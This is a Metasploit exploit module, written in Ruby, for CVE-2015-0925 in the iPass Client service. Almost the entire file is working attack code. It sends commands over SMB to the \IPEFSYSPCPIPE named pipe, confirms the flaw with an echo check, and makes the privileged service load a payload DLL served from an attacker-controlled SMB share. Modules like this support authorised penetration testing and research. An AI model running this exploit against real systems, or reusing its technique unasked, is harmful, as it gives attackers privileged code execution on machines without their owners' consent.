IPass Control Pipe Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB::Client::Authenticated
  include Msf::Exploit::Remote::SMB::Server::Share
  include Msf::Exploit::EXE

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'IPass Control Pipe Remote Command Execution',
        'Description' => %q{
          This module exploits a vulnerability in the IPass Client service. This service provides a
          named pipe which can be accessed by the user group BUILTIN\Users. This pipe can be abused
          to force the service to load a DLL from a SMB share.
        },
        'Author' => [
          'Matthias Kaiser', # Vulnerability discovery
          'h0ng10 <info[at]mogwaisecurity.de>', # Metasploit Module
        ],
        'License' => MSF_LICENSE,
        'References' => [
          [ 'CVE', '2015-0925' ],
          [ 'OSVDB', '117423' ],
          [ 'BID', '72265' ],
          [ 'URL', 'http://codewhitesec.blogspot.de/2015/02/how-i-could-ipass-your-client-security.html' ],
          [ 'ATT&CK', Mitre::Attack::Technique::T1021_002_SMB_WINDOWS_ADMIN_SHARES ],
        ],
        'DefaultOptions' => {
          'EXITFUNC' => 'process',
        },
        'Payload' => {
          'Space' => 2048,
          'DisableNops' => true
        },
        'Platform' => 'win',
        'Targets' => [
          [ 'Windows x32', { 'Arch' => ARCH_X86 } ],
          [ 'Windows x64', { 'Arch' => ARCH_X64 } ]
        ],
        'Privileged' => true,
        'DisclosureDate' => '2015-01-21',
        'DefaultTarget' => 0,
        'Notes' => {
          'Reliability' => UNKNOWN_RELIABILITY,
          'Stability' => UNKNOWN_STABILITY,
          'SideEffects' => UNKNOWN_SIDE_EFFECTS
        }
      )
    )

    register_options(
      [
        OptInt.new('SMB_DELAY', [true, 'Time that the SMB Server will wait for the payload request', 15])
      ]
    )

    deregister_options('FILE_CONTENTS', 'FILE_NAME', 'SHARE', 'FOLDER_NAME')
  end

  def check
    echo_value = rand_text_alphanumeric(rand(10) + 10)

    begin
      response = send_command("System.Echo #{echo_value}")
      if response =~ Regexp.new(echo_value)
        return Exploit::CheckCode::Vulnerable('iPass pipe command execution confirmed')
      else
        return Exploit::CheckCode::Unknown('iPass pipe responded but echo test failed')
      end
    rescue Rex::ConnectionError => e
      vprint_error("Connection failed: #{e.class}: #{e}")
      return Msf::Exploit::CheckCode::Unknown('Connection failed')
    rescue Rex::Proto::SMB::Exceptions::LoginError => e
      vprint_error("Error during login: #{e}")
      return Msf::Exploit::CheckCode::Unknown('Login failed')
    rescue Rex::Proto::SMB::Exceptions::ErrorCode, RubySMB::Error::RubySMBError => e
      vprint_error(e.to_s)
      return Msf::Exploit::CheckCode::Unknown('SMB error occurred')
    end
  end

  def setup
    super
    self.file_name = "#{Rex::Text.rand_text_alpha(7)}.dll"
    self.share = Rex::Text.rand_text_alpha(5)
  end

  def primer
    self.file_contents = generate_payload_dll
    print_status("File available on #{unc}...")
    send_command("iPass.SWUpdateAssist.RegisterCOM #{unc}")
  end

  def send_command(command)
    # The connection is closed after each command, so we have to reopen it
    connect
    smb_login
    pipe = simple.create_pipe('\\IPEFSYSPCPIPE')
    pipe.write(Rex::Text.to_unicode(command))
    response = Rex::Text.to_ascii(pipe.read)

    response
  end

  def exploit
    begin
      Timeout.timeout(datastore['SMB_DELAY']) { super }
    rescue Timeout::Error
      # do nothing... just finish exploit and stop smb server...
    end
  end
end